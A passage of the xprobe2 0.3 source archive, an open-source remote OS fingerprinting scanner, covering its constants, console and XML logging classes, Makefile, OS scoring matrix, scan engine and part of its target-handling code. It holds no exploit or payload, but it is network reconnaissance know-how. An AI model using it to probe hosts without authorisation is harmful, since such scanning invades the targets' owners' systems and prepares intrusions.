TEST_RESULT_ZERO #define IP_CKSUM_BAD TEST_RESULT_BAD #define IP_CKSUM_GOOD TEST_RESULT_GOOD #define IP_ID_ZERO TEST_RESULT_ZERO #define IP_ID_BAD TEST_RESULT_BAD #define IP_ID_GOOD TEST_RESULT_GOOD #define IP_ID_FLIPPED (TEST_RESULT_BAD + 1) /* we don't expect packets bigger than 1500 */ #define LPCAP_SNAPLEN 1500 #define LPCAP_TIMEOUT 2000 /* return values for ICMP_UNREACH length check */ #define ICMPUNREACH_LEN_OK 1 #define ICMPUNREACH_LEN_GT 2 #define ICMPUNREACH_LEN_LS 3 /* return values for frag bits test */ #define FRAG_BITS_OK 0 #define FRAG_BITS_FLIPPED 1 #define FRAG_BITS_ZERO 2 /* TTL_DELTA for fuzzy TTL matching */ #define TTL_DELTA 25 /* defines for tcp_ports, udp_ports and protocols maps */ #define XPROBE_TARGETP_OPEN 1 #define XPROBE_TARGETP_CLOSED 2 #define XPROBE_TARGETP_FILTERED 3 #define MAXIFNUM 64 /* DSO modules stuff */ #if defined(LINUX) || defined(__FreeBSD__) #define DLOPENFLAGS RTLD_LAZY | RTLD_GLOBAL #define DLSYMPREFIX "" #else #define DLOPENFLAGS RTLD_LAZY #define DLSYMPREFIX "_" #endif #define N_TESTNAME "test_name" #define N_TESTTYPE "test_type" #define N_TEST_INIT "test_init" #define N_TEST_RUN "test_run" #define N_TEST_FINI "test_fini" #define XPROBE_MODULE_ENABLED 0 #define XPROBE_MODULE_DISABLED 1 /* some misc stuff */ #define FAIL -1 #define OK 0 #define RETRY -2 #define TRUE 1 #define FALSE 0 #define XPROBE_DEBUG_ALL 0xffffffff #define XPROBE_DEBUG_SIGNATURES 1 #define XPROBE_DEBUG_DSOTESTS 2 #define XPROBE_DEBUG_INIT 4 #define XPROBE_DEBUG_MODULES 8 #define XPROBE_DEBUG_OSMATRIX 16 #define XPROBE_DEBUG_CONFIG 32 #define XPROBE_DEBUG_TARGET 64 #define XPROBELOG_XP_SESS_START 1 #define XPROBELOG_MSG_RUN 2 #define XPROBELOG_MOD_SESS_START 3 #define XPROBELOG_MSG_MODULE 4 #define XPROBELOG_MOD_SESS_END 5 #define XPROBELOG_TG_SESS_START 6 #define XPROBELOG_REACH_SESS_START 7 #define XPROBELOG_MSG_STATE 8 #define XPROBELOG_MSG_RTT 9 #define XPROBELOG_REACH_SESS_END 10 #define XPROBELOG_INFO_SESS_START 11 #define XPROBELOG_PS_SESS_START 12 #define XPROBELOG_STATS_SESS_START 13 #define XPROBELOG_MSG_PS_TCPST 14 #define XPROBELOG_MSG_PS_UDPST 15 #define XPROBELOG_STATS_SESS_END 16 #define XPROBELOG_PSDET_SESS_START 17 #define XPROBELOG_MSG_PORT 18 #define XPROBELOG_PSDET_SESS_END 19 #define XPROBELOG_PS_SESS_END 20 #define XPROBELOG_INFO_SESS_END 21 #define XPROBELOG_GUESS_SESS_START 22 #define XPROBELOG_MSG_PRIMARY 23 #define XPROBELOG_MSG_SECONDARY 24 #define XPROBELOG_GUESS_SESS_END 25 #define XPROBELOG_TG_SESS_END 26 #define XPROBELOG_XP_SESS_END 27 #define XPROBELOG_OTHER_TCPP 28 #define XPROBELOG_OTHER_UDPP 29 #ifndef DEFAULT_DEBUG_LEVEL #define DEFAULT_DEBUG_LEVEL 0 #endif #define xprobe_debug(level, fmt, args...) ui->debug(level,\ __FILE__, __LINE__, fmt, args) #define xprobe_mdebug(level, str) ui->debug(level,\ __FILE__, __LINE__, str) #endif /* DEFINES_H */ xprobe2-0.3/src/interface.cc000755 001751 000000 00000002762 10271643771 016243 0ustar00mederwheel000000 000000 /* $Id: interface.cc,v 1.2 2003/04/22 20:00:00 fygrave Exp $ */ /* ** Copyright (C) 2001 Fyodor Yarochkin , ** Ofir Arkin ** ** This program is free software; you can redistribute it and/or modify ** it under the terms of the GNU General Public License as published by ** the Free Software Foundation; either version 2 of the License, or ** (at your option) any later version. ** ** ** This program is distributed in the hope that it will be useful, ** but WITHOUT ANY WARRANTY; without even the implied warranty of ** MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the ** GNU General Public License for more details. ** ** You should have received a copy of the GNU General Public License ** along with this program; if not, write to the Free Software ** Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include "xprobe.h" #include "interface.h" Interface::Interface(void) { return; } Interface::~Interface(void) { return; } /* virtual void Interface::error(const char *fmt, ...) { return; } virtual void Interface::perror(const char *errmsg) { return; } virtual void Interface::msg(const char *fmt, ...) { return; } virtual void Interface::log(const char *fmt, ...) { return; } virtual void Interface::verbose(int lvl, const char *fmt, ...) { return; } virtual void Interface::debug(unsigned long lvl, const char *file, int line, const char *fmt, ...) { return; } */ xprobe2-0.3/src/interface.h000755 001751 000000 00000003375 10271643771 016106 0ustar00mederwheel000000 000000 /* $Id: interface.h,v 1.2 2003/04/22 20:00:01 fygrave Exp $ */ /* ** Copyright (C) 2001 Fyodor Yarochkin , ** Ofir Arkin ** ** This program is free software; you can redistribute it and/or modify ** it under the terms of the GNU General Public License as published by ** the Free Software Foundation; either version 2 of the License, or ** (at your option) any later version. ** ** ** This program is distributed in the hope that it will be useful, ** but WITHOUT ANY WARRANTY; without even the implied warranty of ** MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the ** GNU General Public License for more details. ** ** You should have received a copy of the GNU General Public License ** along with this program; if not, write to the Free Software ** Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #ifndef INTERFACE_H #define INTERFACE_H #include "xprobe.h" /* Generic interface class, use it if develop UI of your own. * functions usage agreement: * {p,}error() - display errors. * msg() - display messages. * log() - display and log stuff. * verbose() - verbose messages. * debug() - debug messages. */ class Interface { private: public: Interface(void); virtual ~Interface(void); virtual void error(const char *, ...) = 0; virtual void perror(const char *) = 0; virtual void msg(const char *, ...) = 0; virtual void log(const char *, ...) = 0; virtual void verbose(int, const char *, ...) = 0; virtual void debug(unsigned long , const char *, int, const char *, ...) = 0; }; #endif /* INTERFACE_H */ xprobe2-0.3/src/interface_con.cc000755 001751 000000 00000005023 10271643771 017073 0ustar00mederwheel000000 000000 /* $Id: interface_con.cc,v 1.3 2003/08/20 05:30:16 mederchik Exp $ */ /* ** Copyright (C) 2001 Fyodor Yarochkin , ** Ofir Arkin ** ** This program is free software; you can redistribute it and/or modify ** it under the terms of the GNU General Public License as published by ** the Free Software Foundation; either version 2 of the License, or ** (at your option) any later version. ** ** ** This program is distributed in the hope that it will be useful, ** but WITHOUT ANY WARRANTY; without even the implied warranty of ** MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the ** GNU General Public License for more details. ** ** You should have received a copy of the GNU General Public License ** along with this program; if not, write to the Free Software ** Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include "xprobe.h" #include "interface_con.h" #include "cmd_opts.h" extern Cmd_Opts *copts; Interface_Con::Interface_Con(void) { logopened = false; return; } Interface_Con::~Interface_Con(void) { if (logopened && fclose(logfile) != 0) msg("Interface_Con::Interface_Con(): fclose() failed: %s\n", strerror(errno)); return; } void Interface_Con::error(const char *fmt, ...) { va_list ap; va_start(ap, fmt); vfprintf(stderr, fmt, ap); va_end(ap); } void Interface_Con::perror(const char *errmsg) { fprintf(stderr,"%s: %s",errmsg, strerror(errno)); } void Interface_Con::msg(const char *fmt, ...) { va_list ap; va_start(ap, fmt); vfprintf(stdout, fmt, ap); va_end(ap); } void Interface_Con::log(const char *fmt, ...) { va_list ap; va_start(ap, fmt); vfprintf(stdout, fmt, ap); if (copts->get_logfile()) { if (!logopened) { //open the log file if ((logfile = fopen(copts->get_logfile(), "w")) == NULL) { msg("Interface_Con::log(): fopen() failed: %s\n", strerror(errno)); return; } // it seems to have worked logopened = true; } vfprintf(logfile, fmt, ap); } va_end(ap); } void Interface_Con::verbose(int lvl, const char *fmt, ...) { va_list ap; if (copts->is_verbose() < lvl) return; va_start(ap, fmt); vfprintf(stdout, fmt, ap); va_end(ap); } void Interface_Con::debug(unsigned long lvl, const char *file, int line, const char *fmt, ...) { va_list ap; if (!(copts->debug() & lvl)) return; va_start(ap, fmt); fprintf(stderr,"DEBUG: %s %i:\t", file, line); vfprintf(stderr, fmt, ap); va_end(ap); } xprobe2-0.3/src/interface_con.h000755 001751 000000 00000002714 10271643771 016741 0ustar00mederwheel000000 000000 /* $Id: interface_con.h,v 1.3 2003/08/20 05:30:16 mederchik Exp $ */ /* ** Copyright (C) 2001 Fyodor Yarochkin , ** Ofir Arkin ** ** This program is free software; you can redistribute it and/or modify ** it under the terms of the GNU General Public License as published by ** the Free Software Foundation; either version 2 of the License, or ** (at your option) any later version. ** ** ** This program is distributed in the hope that it will be useful, ** but WITHOUT ANY WARRANTY; without even the implied warranty of ** MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the ** GNU General Public License for more details. ** ** You should have received a copy of the GNU General Public License ** along with this program; if not, write to the Free Software ** Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #ifndef INTERFACE_CON_H #define INTERFACE_CON_H #include "xprobe.h" #include "interface.h" class Interface_Con: public Interface { private: FILE *logfile; bool logopened; public: Interface_Con(void); ~Interface_Con(void); void error(const char *, ...); void perror(const char *); void msg(const char *, ...); void log(const char *, ...); void verbose(int, const char *, ...); void debug(unsigned long, const char *, int, const char *, ...); }; #endif /* INTERFACE_H */ xprobe2-0.3/src/log.h000755 001751 000000 00000004646 10271643771 014731 0ustar00mederwheel000000 000000 /* ** Copyright (C) 2003 Meder Kydyraliev ** Copyright (C) 2001 Fyodor Yarochkin , ** Ofir Arkin ** ** This program is free software; you can redistribute it and/or modify ** it under the terms of the GNU General Public License as published by ** the Free Software Foundation; either version 2 of the License, or ** (at your option) any later version. ** ** ** This program is distributed in the hope that it will be useful, ** but WITHOUT ANY WARRANTY; without even the implied warranty of ** MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the ** GNU General Public License for more details. ** ** You should have received a copy of the GNU General Public License ** along with this program; if not, write to the Free Software ** Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #ifndef LOGH #define LOGH #include "xprobe.h" #include "interface.h" extern Interface *ui; class Log { string logfile; bool logopened; FILE *ofile; int open(); protected: int write(const char *, ...); public: Log() { logopened = false; } virtual ~Log() { if (logopened) fclose(ofile); } Log(const char *lfile) { set_logfile(lfile); logopened = false; } int set_logfile(const char *lfile) { if (lfile != NULL && logopened != true) { logfile = lfile; return open(); } return OK; } virtual int log(unsigned int type, const char *, ...)=0; void flush() { if (logopened) fflush(ofile); } bool is_opened() { return logopened; } }; class XML_Log: public Log { int tags_opened; int log_mod(const char *, va_list); int log_start(const char *fmt, va_list varg); int log_run(const char *fmt, va_list varg); int log_module(const char *fmt, va_list varg); int log_target(const char *fmt, va_list varg); int log_state(const char *fmt, va_list varg); int log_rtt(const char *fmt, va_list varg); int log_pscan(const char *fmt, va_list varg); int log_port_stats(char, const char *fmt, va_list varg); int log_port(const char *fmt, va_list varg); int log_guess(int, const char *, va_list); int log_other_ports(char, const char *, va_list); void write_tabs() { int k; for (k=0; k < tags_opened; k++) write("\t"); } public: XML_Log() { tags_opened=0; } XML_Log(const char *lfile): Log(lfile) { tags_opened=0; } ~XML_Log() { return; } int log(unsigned int type, const char *, ...); }; #endif xprobe2-0.3/src/Makefile.in000755 001751 000000 00000003714 10271643771 016037 0ustar00mederwheel000000 000000 # $Id: Makefile.in,v 1.2 2003/04/22 19:59:58 fygrave Exp $ # # Copyright (C) 2001 Fyodor Yarochkin , # Ofir Arkin # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2 of the License, or # (at your option) any later version. # # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. CC=@CC@ CXX=@CXX@ INSTALL=@INSTALL@ INSTALL_PROGRAM=@INSTALL_PROGRAM@ INSTALL_DATA=@INSTALL_DATA@ DESTDIR= prefix=@prefix@ exec_prefix=@exec_prefix@ bindir=@bindir@ mandir=@mandir@ srcdir=@srcdir@ PACKAGE=@PACKAGE@ VERSION=@VERSION@ CPPFLAGS=@CPPFLAGS@ CXXFLAGS=$(CPPFLAGS) @CXXFLAGS@ CFLAGS=$(CPPFLAGS) @CFLAGS@ -I @srcdir@/ -I ../libs-external/USI++/src/ LDFLAGS=@LDFLAGS@ LIBS=@LIBS@ INCLUDES=@HEADERS@ defines.h config.h SOURCES=@SOURCES@ OBJS=${SOURCES:.cc=.o} XPLIBS= xplib/libxplib.a ../libs-external/USI++/src/libusi++.a MODOBJS=xpmodules/alive_probe/alive_probe.a \ xpmodules/os_probe/os_probe.a $(XPLIBS) all: lib xprobe2 xprobe2: $(OBJS) modules $(CXX) $(CFLAGS) $(OBJS) $(MODOBJS) -o $@ $(LDFLAGS) $(LIBS) strip $@ modules: cd xpmodules; ${MAKE} lib: cd xplib; ${MAKE} .c.o: $(INCLUDES) $(CC) -c $(CFLAGS) $< .cc.o: $(INCLUDES) $(CXX) -c $(CFLAGS) $< clean: rm -f xprobe2 xprobe2.core core *.o cd xpmodules; ${MAKE} clean cd xplib; ${MAKE} clean distclean: clean rm -f config.h defines.h Makefile cd xpmodules; ${MAKE} distclean cd xplib; ${MAKE} distclean xprobe2-0.3/src/os_matrix.cc000644 001751 000000 00000010757 10271643771 016310 0ustar00mederwheel000000 000000 /* $Id: os_matrix.cc,v 1.8 2005/07/18 11:08:24 mederchik Exp $ */ /* ** Copyright (C) 2001 Fyodor Yarochkin , ** Ofir Arkin ** ** This program is free software; you can redistribute it and/or modify ** it under the terms of the GNU General Public License as published by ** the Free Software Foundation; either version 2 of the License, or ** (at your option) any later version. ** ** ** This program is distributed in the hope that it will be useful, ** but WITHOUT ANY WARRANTY; without even the implied warranty of ** MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the ** GNU General Public License for more details. ** ** You should have received a copy of the GNU General Public License ** along with this program; if not, write to the Free Software ** Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include "xprobe.h" #include "os_matrix.h" #include "interface.h" #include "xprobe_module_hdlr.h" extern Interface *ui; /* * OS_Name object. ***************** */ OS_Name::OS_Name(void) { id_count = 0; } /* * OS_Name::add_os() ******************* * returns FAIL is the OS already exist. os_id otherwise. */ int OS_Name::add_os(string &os_name) { if (find_os(os_name) != FAIL) return FAIL; /* exist */ osid_name.insert(pair(id_count, os_name)); return (id_count++); } /* * OS_Name::find_os() ******************* * returns FAIL is the OS does not exist. os_id otherwise. */ int OS_Name::find_os(string &os_name) { map ::iterator osid_i; for (osid_i = osid_name.begin(); osid_i != osid_name.end(); osid_i++) { if ((*osid_i).second == os_name) return ((*osid_i).first); /* exist */ } return FAIL; /* does not exist */ } /* * OS_Name::list_oses() ******************* * for debugging _ONLY_ */ void OS_Name::list_oses(void) { map ::iterator osid_i; xprobe_mdebug(XPROBE_DEBUG_OSMATRIX,"Following systems are recognizable\n"); for (osid_i = osid_name.begin(); osid_i != osid_name.end(); osid_i++) { xprobe_debug(XPROBE_DEBUG_OSMATRIX,"Id: %i\tOS: %s\n",(*osid_i).first, (*osid_i).second.c_str()); } } /* * OS_Name::list_oses() ******************* * for debugging _ONLY_ */ const string OS_Name::osid2str(int id) { map ::iterator osid_i = osid_name.find(id); if (osid_i != osid_name.end()) return ((*osid_i).second); return ("BUG, PLEASE REPORT! :-)"); } /* * OS_Vector stuff: */ OS_Vector::OS_Vector(int new_os_id) { os_id = new_os_id; total = 0; numofkwds=0; } void OS_Vector::add_result(int test_id, int score) { xprobe_debug(XPROBE_DEBUG_OSMATRIX, "added: test_id: %i score: %i\n", test_id, score); total += score; numofkwds++; } bool os_vector_compare(const OS_Vector &a, const OS_Vector &b) { if (a.total > b.total) return true; return false; } OS_Matrix::OS_Matrix(int mods) { xprobe_mdebug(XPROBE_DEBUG_INIT, "OS matrix initialized\n"); xp_loaded_mods =mods; } OS_Matrix::~OS_Matrix(void) { xprobe_mdebug(XPROBE_DEBUG_INIT, "OS matrix deinitialized\n"); } int OS_Matrix::find_os_id(int os_id) { unsigned int i; for (i = 0; i< osid_vec.size(); i++) if (os_id == osid_vec[i].get_os_id()) return i; return -1; } void OS_Matrix::add_result(int test_id, int os_id, int score, int times) { int i; xprobe_debug(XPROBE_DEBUG_OSMATRIX, "test_id: %i os_id: %i score: %i\n", test_id, os_id, score); if (find_os_id(os_id) == -1) /* if doesn't exist. we insert it * first */ osid_vec.push_back(OS_Vector(os_id)); i = find_os_id(os_id); while (times-- > 0) { osid_vec[i].add_result(test_id, score); } } int OS_Matrix::get_score(int os_id) { if (find_os_id(os_id) == -1) return FAIL; return (osid_vec[find_os_id(os_id)].get_total()); } int OS_Matrix::get_max_score(int os_id) { int i = find_os_id(os_id); //return (xp_loaded_mods * XPROBE_MATCH_YES); return (osid_vec[i].get_number_of_keywords() * XPROBE_MATCH_YES); } int OS_Matrix::get_prcnt_score(int os_id) { if (get_score(os_id) < 0) return 0; return get_score(os_id) * 100/get_max_score(os_id); } int OS_Matrix::get_top(int num) { sort(osid_vec.begin(), osid_vec.end(), os_vector_compare); if ((unsigned int)num < osid_vec.size()) return osid_vec[num].get_os_id(); return 0; /* out of range */ } xprobe2-0.3/src/os_matrix.h000644 001751 000000 00000005336 10271643771 016147 0ustar00mederwheel000000 000000 /* $Id: os_matrix.h,v 1.6 2005/06/26 11:29:50 mederchik Exp $ */ /* ** Copyright (C) 2001 Fyodor Yarochkin , ** Ofir Arkin ** ** This program is free software; you can redistribute it and/or modify ** it under the terms of the GNU General Public License as published by ** the Free Software Foundation; either version 2 of the License, or ** (at your option) any later version. ** ** ** This program is distributed in the hope that it will be useful, ** but WITHOUT ANY WARRANTY; without even the implied warranty of ** MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the ** GNU General Public License for more details. ** ** You should have received a copy of the GNU General Public License ** along with this program; if not, write to the Free Software ** Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #ifndef OS_MATRIX_H #define OS_MATRIX_H #include "xprobe.h" /* #include #include #include #include */ using namespace std; #define XPROBE_MATCH_NO 0 #define XPROBE_MATCH_PROBABLY_NO 1 #define XPROBE_MATCH_PROBABLY_YES 2 #define XPROBE_MATCH_YES 3 class OS_Name { private: map osid_name; int id_count; public: OS_Name(void); const string osid2str(int); const char *osid2char(int id) { string s = osid2str(id); return (s.c_str()); } int add_os(string &os_name); int find_os(string &os_name); void list_oses(void); int get_osnum(void) { return id_count; } }; class OS_Vector { private: int os_id; /* we may need this later: map mod_score; */ int total; int numofkwds; public: OS_Vector(int); void add_result(int, int); int get_total(void) { return total; } int get_os_id(void) { return os_id; } int get_number_of_keywords(void) { return numofkwds; } friend bool os_vector_compare(const OS_Vector &, const OS_Vector &); }; class OS_Matrix { private: vector osid_vec; int xp_loaded_mods; int find_os_id(int); public: OS_Matrix(int); virtual ~OS_Matrix(void); void add_result(int, int, int, int times = 1); /* returns top num scored OS id */ int get_top(int); /* returns given os_id score */ int get_score(int); /* returns maximum possible score --> max score by number of * tests */ int get_max_score(int); /* returns given os_id score in percent */ int get_prcnt_score(int); }; #endif /* INTERFACE_H */ xprobe2-0.3/src/scan_engine.cc000644 001751 000000 00000006247 10271643771 016553 0ustar00mederwheel000000 000000 /* $Id: scan_engine.cc,v 1.8 2005/02/08 20:00:35 mederchik Exp $ */ /* ** Copyright (C) 2001 Fyodor Yarochkin , ** Ofir Arkin ** ** This program is free software; you can redistribute it and/or modify ** it under the terms of the GNU General Public License as published by ** the Free Software Foundation; either version 2 of the License, or ** (at your option) any later version. ** ** ** This program is distributed in the hope that it will be useful, ** but WITHOUT ANY WARRANTY; without even the implied warranty of ** MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the ** GNU General Public License for more details. ** ** You should have received a copy of the GNU General Public License ** along with this program; if not, write to the Free Software ** Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include "xprobe.h" #include "scan_engine.h" #include "interface.h" #include "targets_list.h" #include "xprobe_module_hdlr.h" #include "os_matrix.h" #include "config_set.h" #include "cmd_opts.h" #include "log.h" extern Targets_List *targets; extern Xprobe_Module_Hdlr *xmh; extern Interface *ui; extern OS_Name *oses; extern Config_Set *cfg; extern Cmd_Opts *copts; extern XML_Log *xml; int Scan_Engine::init(void) { ui->msg("[+] Initializing scan engine\n"); return 1; } int Scan_Engine::run(void) { Target *tg; Xprobe::Timeval rtt; ui->msg("[+] Running scan engine\n"); while((tg = targets->getnext()) != NULL) { tg->show_route(cfg->show_route()); tg->set_udp_ports(cfg->get_udp_ports()); tg->set_tcp_ports(cfg->get_tcp_ports()); tg->set_tcp_toscan(copts->get_tcp_ports_to_scan()); tg->set_udp_toscan(copts->get_udp_ports_to_scan()); tg->generate_sig(copts->generate_sig()); // first we check if the system is reachable xml->log(XPROBELOG_TG_SESS_START, "%a", inet_ntoa(tg->get_addr())); xml->log(XPROBELOG_REACH_SESS_START, "reachability"); if (tg->check_alive()) { ui->msg("[+] Target: %s is alive. Round-Trip Time: %.5f sec\n", inet_ntoa(tg->get_addr()), (double)tg->get_rtt()); /* roundtrip time magic */ if (copts->is_rtt_forced() || !tg->get_rtt()) // force rtt to be fixed value (eq timeout) // or if calculated roundtrip is 0 rtt = copts->get_timeout(); // then we override else { rtt = tg->get_rtt() + tg->get_rtt() ; // double time of roundtrip. xml->log(XPROBELOG_MSG_RTT, "%r%s", (double)tg->get_rtt(), (double)rtt); } tg->set_rtt(rtt); ui->msg("[+] Selected safe Round-Trip Time value is: %.5f sec\n", (double)tg->get_rtt()); xml->log(XPROBELOG_REACH_SESS_END, "end reachability\n"); if (copts->do_portscan()) // FIXME: gather_info should be done later, maybe? tg->gather_info(); tg->os_probe(); } else { xml->log(XPROBELOG_REACH_SESS_END, "end reachability\n"); } xml->log(XPROBELOG_TG_SESS_END, "done with target"); } return 1; } int Scan_Engine::fini(void) { ui->msg("[+] Cleaning up scan engine\n"); return 1; } xprobe2-0.3/src/scan_engine.h000755 001751 000000 00000002273 10271643771 016413 0ustar00mederwheel000000 000000 /* $Id: scan_engine.h,v 1.2 2003/04/22 20:00:01 fygrave Exp $ */ /* ** Copyright (C) 2001 Fyodor Yarochkin , ** Ofir Arkin ** ** This program is free software; you can redistribute it and/or modify ** it under the terms of the GNU General Public License as published by ** the Free Software Foundation; either version 2 of the License, or ** (at your option) any later version. ** ** ** This program is distributed in the hope that it will be useful, ** but WITHOUT ANY WARRANTY; without even the implied warranty of ** MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the ** GNU General Public License for more details. ** ** You should have received a copy of the GNU General Public License ** along with this program; if not, write to the Free Software ** Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #ifndef SCAN_ENGINE_H #define SCAN_ENGINE_H #include "xprobe.h" class Scan_Engine { private: int check_alive(struct in_addr); int os_probe(struct in_addr); public: int init(void); int run(void); int fini(void); }; #endif /* SCAN_ENGINE_H */ xprobe2-0.3/src/target.cc000644 001751 000000 00000025734 10271643771 015572 0ustar00mederwheel000000 000000 /* $Id: target.cc,v 1.17 2005/07/26 12:33:42 mederchik Exp $ */ /* ** Copyright (C) 2001 Fyodor Yarochkin , ** Ofir Arkin ** ** This program is free software; you can redistribute it and/or modify ** it under the terms of the GNU General Public License as published by ** the Free Software Foundation; either version 2 of the License, or ** (at your option) any later version. ** ** ** This program is distributed in the hope that it will be useful, ** but WITHOUT ANY WARRANTY; without even the implied warranty of ** MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the ** GNU General Public License for more details. ** ** You should have received a copy of the GNU General Public License ** along with this program; if not, write to the Free Software ** Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include "xprobe.h" #include "target.h" #include "interface.h" #include "xprobe_module_hdlr.h" #include "cmd_opts.h" #include "os_matrix.h" #include "xplib/xplib.h" #include "log.h" extern Interface *ui; extern Xprobe_Module_Hdlr *xmh; extern OS_Name *oses; extern Cmd_Opts *copts; extern XML_Log *xml; /* ************************* * Target_Net:: object methods ************************* */ int Target_Net::parse_mask(char *mask_ascii) { if (!mask_ascii) return FAIL; if (!atoi(mask_ascii) || atoi(mask_ascii) > 32) { ui->error("Incorrect netmask specification: %s " "(1-32 allowed)\n", mask_ascii); return FAIL; } mask = htonl((0xffffffff<<(32-atoi(mask_ascii)))); return OK; } int Target_Net::parse_host(char *target) { char *host_ascii; char *mask_ascii; host_ascii = strdup(target); if((mask_ascii = strchr(host_ascii,'/')) != NULL) { *mask_ascii='\0'; mask_ascii++; if (parse_mask(mask_ascii) != OK) { free(host_ascii); return FAIL; } } else { mask = 0xffffffff; } if (resolve_host(host_ascii) == FAIL) { ui->error("Can not resolve %s: %s\n", host_ascii, hstrerror(h_errno)); free(host_ascii); return FAIL; } addr &= mask; free(host_ascii); return OK; } int Target_Net::resolve_host(char *host) { struct hostent *host_serv; if ((addr = inet_addr(host)) == INADDR_NONE) { host_serv = gethostbyname(host); if (host_serv == NULL) return FAIL; memcpy((void *)&addr, (void *)host_serv->h_addr, host_serv->h_length); } return OK; } Target_Net::Target_Net(char *target) { init(target); } Target_Net::Target_Net(void) { ascii_name = NULL; addr = mask = counter = 0; } int Target_Net::init(char *target) { ascii_name = strdup(target); if (parse_host(ascii_name) == FAIL) return FAIL; counter = ntohl(addr); return OK; } unsigned long Target_Net::getnext(void) { if (counter > ntohl(addr|mask^0xffffffff)) return 0; if (counter == htonl(addr)) { // network number if (mask != 0xffffffff) { // special case of /32 counter++; } return (htonl(counter++)); } if (ntohl(mask^0xffffffff) == (counter & ntohl(mask^0xffffffff))){ // broadcast address return 0; } return (htonl(counter++)); } /* ****************************** * Target:: object methods ****************************** */ //void Target::add_p(map &ic_map, int p, char s) { void Target::add_p(map *ic_map, int p, char s) { ic_map->insert(pair(p, s)); } //int Target::find_stat_p(map &ic_map, char s) { int Target::find_stat_p(map *ic_map, char s) { map ::iterator ic_map_i; for (ic_map_i = ic_map->begin(); ic_map_i != ic_map->end(); ic_map_i++) { if ((*ic_map_i).second == s) return (*ic_map_i).first; } return -1; } void Target::add_port(int proto, int port, char s) { switch(proto) { case IPPROTO_TCP: add_p(&tcp_ports, port, s); break; case IPPROTO_UDP: add_p(&udp_ports, port, s); break; default: xprobe_debug(XPROBE_DEBUG_TARGET, "Unknown protocol: %i for port %i", proto, port); } } int Target::get_port(int proto, int s) { switch(proto) { case IPPROTO_TCP: return (find_stat_p(&tcp_ports, s)); break; case IPPROTO_UDP: return (find_stat_p(&udp_ports, s)); break; case IPPROTO_ICMP: return (find_stat_p(&tcp_ports, s)); break; default: return -1; } } bool Target::port_is_open(int proto, int port) { map ::iterator iter; switch(proto) { case IPPROTO_TCP: iter = tcp_ports.find(port); if (iter == tcp_ports.end()) return false; if (iter->second == XPROBE_TARGETP_OPEN) return true; break; case IPPROTO_UDP: iter = udp_ports.find(port); if (iter == udp_ports.end()) return false; if (iter->second == XPROBE_TARGETP_OPEN || iter->second == XPROBE_TARGETP_FILTERED) return true; break; default: xprobe_debug(XPROBE_DEBUG_TARGET, "Unknown protocol: %i for port %i", proto, port); } return false; } void Target::add_protocol(int proto, char s) { add_p(&protocols, proto, s); } struct in_addr Target::get_interface_addr(void) { struct in_addr a; // a = xp_get_iface_addr(xp_get_interface(addr)); a = xp_get_src_addr(addr); return a; } char * Target::get_interface(void) { char *in; in = xp_get_interface(addr); return in; } void Target::set_ttl(int type, int val) { /*XXX: do proper search in the base later */ if (get_ttl(type) != FAIL) return; /* already there */ ttls.insert(pair(type, val)); } int Target::get_ttl(int type) { map ::iterator ttls_i; ttls_i = ttls.find(type); if (ttls_i != ttls.end()) return (*ttls_i).second; return FAIL; } int Target::check_alive(void) { OS_Matrix *os; int ret = 0, alive_tests = xmh->loaded_mods_num(XPROBE_MODULE_ALIVETEST); if (alive_tests > 0) { os = new OS_Matrix(xmh->loaded_mods_num(XPROBE_MODULE_ALIVETEST)); xmh->exec(XPROBE_MODULE_ALIVETEST, this, os); if (os->get_score(os->get_top(0)) > 0) ret = 1; ui->msg("[+] Host: %s is %s (Guess probability: %i%%)\n", inet_ntoa(addr), ret == 1?"up":"down", ret ==1?os->get_prcnt_score(os->get_top(0)):0); xml->log(XPROBELOG_MSG_STATE, "%s%p", ret == 1?"up":"down", ret ==1?os->get_prcnt_score(os->get_top(0)):0); delete os; } else { /* All alive tests were disabled * user wants to skip the reachability test */ ui->msg("[+] All alive tests disabled\n"); ret = 1; } return(ret); } int Target::os_probe(void) { // OS_Matrix *os = new OS_Matrix(xmh->loaded_mods_num(XPROBE_MODULE_OSTEST)); OS_Matrix *os; int ret = 0, i = xmh->loaded_mods_num(XPROBE_MODULE_OSTEST), keywordcount; if (i < 1) { ui->msg("[+] All fingerprinting modules were disabled\n"); return OK; } os = new OS_Matrix(i); xmh->exec(XPROBE_MODULE_OSTEST, this, os); if (os->get_score(os->get_top(0)) != 0) ret = 1; if (gen_sig) { ui->msg("[+] Signature looks like:\n"); ui->msg("[+] %s (%i%%)\n", oses->osid2char(os->get_top(0)), os->get_prcnt_score(os->get_top(0))); ui->msg("[+] Generated signature for %s:\n", inet_ntoa(addr)); ui->log("%s", (fingerprint.get_sig(&keywordcount)).c_str()); if (keywordcount < 